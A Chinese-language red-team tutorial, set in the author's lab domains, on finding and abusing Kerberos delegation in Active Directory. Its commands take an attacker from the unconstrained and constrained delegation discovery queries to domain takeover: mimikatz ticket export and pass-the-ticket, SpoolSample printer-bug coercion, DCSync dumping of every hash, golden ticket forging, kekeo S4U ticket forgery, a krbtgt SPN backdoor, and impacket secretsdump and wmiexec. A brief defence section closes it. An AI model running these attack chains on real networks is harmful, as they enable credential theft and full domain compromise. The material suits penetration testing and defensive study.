前置知识

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动

委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式,还有一种是基于资源的约束委派(Resource Based Constrained Delegation)不过不是本文的重点,下面我们来分别介绍一下非约束委派和约束委派这两种方法的利用

image.png
image.png

发现域中委派的用户和计算机

原理说明

  • 当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
  • 当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务

发现域中委派的用户或计算机一般使用的手段是通过LDAP协议(全称:LightweightDirectory Access Protocol)然后通过userAccountControl属性筛选出符合的用户或计算机,我们可以通过ADSI(全称:ActiveDirectory Service Interfaces Editor)来编辑和修改LDAP,adsiedit.msc可以打开ADSI编辑器,打开之后我们找到一个设置了非约束委派的用户,可以看到userAccountControl属性包含了TRUSTED_FOR_DELEGATION

image.png
image.png

然后我们再看一下约束委派的用户,同样它的userAccountControl属性包含了TRUSTED_TO_AUTH_FOR_DELEGATION,但是它比非约束委派的用户多了一个msDS-AllowedToDelegateTo属性,里面包含了允许委派的服务

image.png
image.png

下面介绍三种比较常见方法用于查找域中委派的用户和计算机

非约束委派的查找

ldapsearch

kali上自带,适合在域外查询

这个参数过多就不一一列举了,需要查阅的ldapsearch -h即可

查找域中配置非约束委派的用户:

1
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

过滤条件

1
(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))

image.png
image.png

查找域中配置非约束委派的主机:

1
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

:域控主机账户默认开启非约束委派

过滤条件

1
(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))

:更多LDAP的过滤语法请参考微软的手册:地址

image.png
image.png

:区别服务用户和主机的区别是samAccountType=805306368 (0x30000000)时为用户,samAccountType=805306369 (0x30000001)时为主机

ADFind

使用参数

1
AdFind [switches] [-b basedn] [-f filter] [attr list]

参数说明:

  • -b:指定要查询的根节点
  • -f:LDAP过滤条件
  • attr list:需要显示的属性

查找域中配置非约束委派的用户:

1
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
image.png
image.png

查找域中配置非约束委派的主机:

1
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
image.png
image.png

PowerView

查找域中配置非约束委派用户

1
Get-NetUser -Unconstrained -Domain qiyou.com |select name

image.png
image.png

查找域中配置非约束委派的主机:

1
Get-NetComputer -Unconstrained -Domain qiyou.com

image.png
image.png

查询域中配置非约束委派的主机(另外一个版本的powerview):

1
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -Wrap -AutoSize

image.png
image.png

约束委派

ldapsearch

查找域中配置约束委派用户

1
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

过滤条件

1
(&(samAccountType=805306368)(msds-allowedtodelegateto=*))

image.png
image.png

查找域中配置约束委派的主机:

1
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

过滤条件

1
(&(samAccountType=805306369)(msds-allowedtodelegateto=*))

image.png
image.png

ADFind

查找域中配置约束委派用户

1
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image.png
image.png

查找域中配置约束委派的主机:

1
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
image.png
image.png

PowerView

:Powerview有两个版本,一个在dev分支:地址,一个在master分支:地址

查找域中配置约束委派用户

1
Get-DomainUser –TrustedToAuth -domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
image.png
image.png

查找域中配置约束委派的主机:

1
Get-DomainComputer -TrustedToAuth -Domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
image.png
image.png

非约束委派的利用

概述

非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

非约束委派的请求过程(图来自微软手册):

image.png
image.png

上图的Kerberos请求描述分为如下步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1. 用户向`KDC`发送`KRB_AS_REQ`消息请求可转发的`TGT1`。

2. KDC在`KRB_AS_REP`消息中返回`TGT1`。

3. 用户根据步骤2中的TGT1请求转发TGT2。

4. KDC在KRB_TGS_REP消息中为user返回TGT2。

5. 用户使用步骤2中返回的TGT1向KDC请求Service1的ST(Service Ticket)

6. TGS在KRB_TGS_REP消息中返回给用户service1的ST。

7. 用户发送KRB_AP_REQ消息请求Service1,KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey

8. service1使用用户发送过来的的TGT2,并以KRB_TGS_REQ的形式将其发送到KDC,以用户的名义请求service2的ST。

9. KDC在KRB_TGS_REP消息中返回service2到service1的ST,以及service1可以使用的sessionkey。ST将客户端标识为用户,而不是service1。

10. service1通过KRB_AP_REQ以用户的名义向service2发出请求。

11. service2响应service1的请求。

12. 有了这个响应,service1就可以在步骤7中响应用户的请求。

13. 这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务,所以service1可以以用户的名义向KDC索要任何其他服务的票证。

14. KDC返回步骤13中请求的ST

15-16. service1以用户的名义来请求其它服务

TGT1(forwardable TGT)用于访问Service1TGT2(forwarded TGT)用于访问Service2

操作

操作环境:

  • 域:qiyou.com
  • 域控:windows server 2008R2,主机名:WIN-QFPHJSM1L7G,IP:192.168.141.145,用户:administrator
  • 域内主机:windows server 2008R2,主机名:DM2008,IP:192.168.141.183,用户:qiyou

:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的

现在我们将DM2008这个主机用户设置为非约束委派(注意是:主机用户而不是服务用户,多谢先知评论区的3t2ugg1e师傅指正)

image.png
image.png

然后我们以administrator的身份通过WinRM服务远程连接DM2008

:常见的连接方式还有:MSSQL和IIS,不过我们这里为了方便演示就直接用WinRM了

image.png
image.png

这个时候域管理员的TGT已经缓存在DM2008了,我们用mimikatz即可dump出来

1
2
privilege::debug 
sekurlsa::tickets /export
image.png
image.png

可以看到[0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi即为域管理administrator的TGT

此时我们访问域控是被拒绝的

image.png
image.png

然后通过ptt将TGT注入到当前会话中

1
kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi

成功访问

image.png
image.png

注意:访问域控要用主机名或者是FQDN,使用IP还是会提示拒绝访问

image.png
image.png

如果想执行命令的话,我们可以用WinRM服务来远程连接域控服务器

1
Enter-PSSession -ComputerName WIN-QFPHJSM1L7G
  • -ComputerName指定主机名
  • 如果你WinRM服务端口改了的话,可以用-Port指定WinRM端口,默认是5985
image.png
image.png

Windows Server 2012及以上默认是开启WinRM服务的,Windows Server 2008 R2需要winrm quickconfig -q来启动WinRM服务,还要注意一点就是这条命令运行后会自动添加防火墙策略,防火墙默认会放行5985端口的。

非约束委派+Spooler打印机服务

如果只是单纯的非约束委派话需要管理员主动连接,所以在实战环境利用比较鸡肋。

利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_enigma0x3harmj0yDerbyCon 2018提出的

演讲PPT:地址

利用原理:利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过KerberosNTLM对攻击者选择的目标进行身份验证。

请求过程如下:

image.png
image.png

图来源于:http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/

Print Spooler服务默认是自动运行的

image.png
image.png

:我在windows server 2008上操作没有成功,不知道是我的问题还是有版本限制,按照上面的原理来说应该是没有版本限制的,不过把域环境重新配置了一遍,域控换成了windows server 2012R2就成功了

操作环境:

  • 域:test.local
  • 域控:系统:Windows server 2012R2主机名:DM2012,ip:192.168.141.134
  • 域内主机:系统:windows 10,主机名:win10,ip:192.168.141.165

这个实现了前提是:需要获取一台主机账户开启了非约束委派域内机器的权限

我们给win10这个主机账户开启非约束委派

image.png
image.png

:是主机账户开启非约束委派,而不是服务用户

tifkin_在他的github上开源了POC:https://github.com/leechristensen/SpoolSample

向DM2012的Spooler服务发送请求,强制其访问win10进行身份验证

1
SpoolSample.exe dm2012 win10
image.png
image.png

我们可以用Rubeus来监听Event ID4624事件,这样可以第一时间截取到域控的TGT

每隔一秒监听一次来自dm2012的登陆(需要本地管理员权限)

1
Rubeus.exe monitor /interval:1 /filteruser:dm2012$

:Rubeus.exe捕获到的TGT是base64编码的,但是我们不需要解码,Rubeus可以直接将base64编码的票据直接注入到内存中

1
Rubeus.exe ptt /ticket:base64

因为之前域内主机win10的安全日志被我搞崩了,所以这里就不演示了

image.png
image.png

因为我们Rubeus监听TGT用不了,所以我们可以用mimikatz导出TGT

1
2
3
privilege::debug

sekurlsa::tickets /export

可以发现成功导出来自DM2012$的TGT

image.png
image.png
image.png
image.png

得到TGT之后,我们用ptt将票据注入到当前会话后,可以用dcsync导出域控中所有用户的hash,然后用krbtgt用户的hash生成黄金票据

1
2
3
kerberos::ptt [0;862bdd]-2-0-60a10000-DM2012$@krbtgt-TEST.LOCAL.kirbi

lsadump::dcsync /domain:test.local /all /csv
image.png
image.png

得到krbtgt用户的hash之后生成一张administrator的黄金票据

1
kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-662417213-3583657854-423750704 /krbtgt:683545df56ea57b168d0ad090e209616 /ptt

成功以administrator的身份访问域控

image.png
image.png

执行命令可以用WinRM服务来远程连接域控

image.png
image.png

关于Spooler服务的利用还有CVE-2019-1040,不过这个是基于资源的约束委派,有兴趣的同学可以去了解一下

约束委派的利用

概述

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)Service for User to Proxy (S4U2proxy),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。

S4U2SelfS4U2proxy的请求过程(图来自微软手册):

:其中步骤1-4代表S4U2Self请求的过程,步骤5-10代表S4U2proxy的请求过程

image.png
image.png

上述请求的文字描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。

2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。

3. KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。

4. service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。
注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了

5. 用户向service1发出请求,service1需要以用户身份访问service2上的资源。

6. service1以用户的名义向KDC请求用户访问service2的ST2

7. 如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。

8. service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。

9. service2响应步骤8的请求。

10. service1响应用户对步骤5中的请求。

操作

操作环境:

  • 域:qiyou.com
  • 域内主机:windows server 2012R2,主机名:DM2012,IP:192.168.141.134,用户:qiyou
  • 域内主机:DM08

DM08是域内的另外一台主机,下面我们设置了服务用户qiyouDM08cifs服务的委派

image.png
image.png

概述那里我们讲了在约束委派的情况下,服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST

已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT

1
tgt::ask /user:qiyou /domain:qiyou.com /password:password /ticket:test.kirbi

参数:

/user: 服务用户的用户名

/password: 服务用户的明文密码

/domain: 所在域名

/ticket: 指定票据名称,不过这个参数没有生效,可以忽略

image.png
image.png

得到服务用户TGT:`TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi`

然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问dm08 CIFS的ST

1
tgs::s4u /tgt:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com
image.png
image.png

S4U2Self获取到的ST1以及S4U2Proxy获取到的dm08 CIFS服务的ST2会保存在当前目录下

然后我们用mimikatz将ST2导入当前会话即可

1
kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi

成功访问到dm08的cifs服务

image.png
image.png

上面是知道服务用户明文的情况下,kekeo同样也支持使用NTLM Hash

在请求服务用户的TGT那步直接把/password改成/NTLM即可

已知我们服务账号qiyouNTLM hashb4f27a13d0f78d5ad83750095ef2d8ec

1
2
tgt::ask /user:qiyou /domain:qiyou.com /NTLM:b4f27a13d0f78d5ad83750095ef2d8ec
tgs::s4u /tgt:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com
image.png
image.png
1
kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi
image.png
image.png

如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用mimikatz直接从内存中把服务用户的TGT dump出来

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
image.png
image.png

sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::ticketskerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。

既然服务用户的TGT导出来了,我们就跳过tgt::ask请求TGT这步,直接tgs::s4u

1
tgs::s4u /tgt:[0;196b1e4]-2-0-60a00000-qiyou@krbtgt-QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com
image.png
image.png
1
kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi
image.png
image.png

我们来抓包看一下整个委派请求的过程

可以看到有6个请求响应的过程,我们可以分为3步来分析

image.png
image.png
  1. 可以看到用户qiyou首先向KDC请求一张TGT,AS-REP请求里返回TGT,这张TGT代表的是qiyou这个用户
image.png
image.png

2 然后用这张TGT发送S4U2self请求,以Administrator的名义向TGS申请了一张访问自身服务的票据,我们这里就称为ST1吧

image.png
image.png
  1. 得到ST1之后,然后会带上ST1再次向KDC发起SU42Proxy请求,以administrator的名义请求一张访问DM08 cifs服务的票据,我们这里就称为ST2
image.png
image.png

上述数据包请求过程中:第一步对应的是我们kekeo的tgt::ask;2-3是对应tgs::s4u,其中ST1和ST2分别对应的就是kekeo生成的`TGS_Administrator@qiyou.com@QIYOU.COM_qiyou@QIYOU.COM.kirbiTGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi`,不过我们最终用到是ST2,ST1可以看作一个中间产物。

得到ST2之后我们就可以回到我们的攻击机上进行ptt就能得到DM08 cifs的访问权限了

利用约束委派生成黄金票据

操作环境:

  • 域:qiyou.com
  • 域控:windows server 2008R2,主机名:WIN-QFPHJSM1L7G,IP:192.168.141.145,用户:administrator
  • 域内主机:windows server 2012R2,主机名:DM2012,IP:192.168.141.134,用户:qiyou

我们都知道TGT的生成是由krbtgt用户加密和签名的,如果我们能委派域上的用户去访问TGS,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。

TGS默认的spn是krbtgt/domain name,我们操作环境是krbtgt/QIYOU.COM

krbtgt默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。

我们可以使用powershell来添加

1
2
3
Import-Module ActiveDirectory
$user = Get-ADUser qiyou
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/qiyou.com") }

:域控默认安装ActiveDirectory,如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll

image.png
image.png

GUI界面查看一下,成功添加

image.png
image.png

我们可以用impacket系列的getST向KDC请求administrator的TGT

1
getst.exe -dc-ip 192.168.141.145 -spn krbtgt/qiyou.com -impersonate Administrator qiyou.com/qiyou:password

参数:

-impersonate:表示伪造用户

-spn:表示我们要委派的服务的spn,这里是TGS

-dc-ip:域控ip

执行之后会在当前目录生成一个缓存文件Administrator.ccache

image.png
image.png

然后用mimikatz进行ptc(pass the cache),将缓存注入当前会话中

image.png
image.png

klist查看缓存的票据

image.png
image.png

访问域控

image.png
image.png

执行命令的话我们可以用impacket系列或者powershell都可以

wmiexec

1
2
3
set KRB5CCNAME=Administrator.ccache

wmiexec.exe -no-pass -k administrator@WIN-QFPHJSM1L7G.qiyou.com -dc-ip 192.168.141.145
image.png
image.png

导出域控上所有用户以及主机的hash

1
2
3
set KRB5CCNAME=Administrator.ccache

secretsdump.exe -no-pass -k WIN-QFPHJSM1L7G.qiyou.com

请求过程和上面的cifs是一样的只不过是把cifs换krbtgt而已,所以这里就不抓包演示了

防御

  1. 高权限用户没有在特殊要求之下设置为不可委派

如图

image.png
image.png
  1. 为了防止凭据被盗微软推出了Protected Users组,适用于Windows Server 2016Windows Server 2012 R2Windows Server 2012
image.png
image.png

关于Protected Users组成员的特点请参考微软手册,这里就不多赘述了

  1. 提高服务用户密码强度,防止黑客通过Kerberoasting等手段对口令进行暴力破解

Reference

http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/

https://paper.seebug.org/620/

https://horizon.guidepointsecurity.com/tutorials/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a?redirectedfrom=MSDN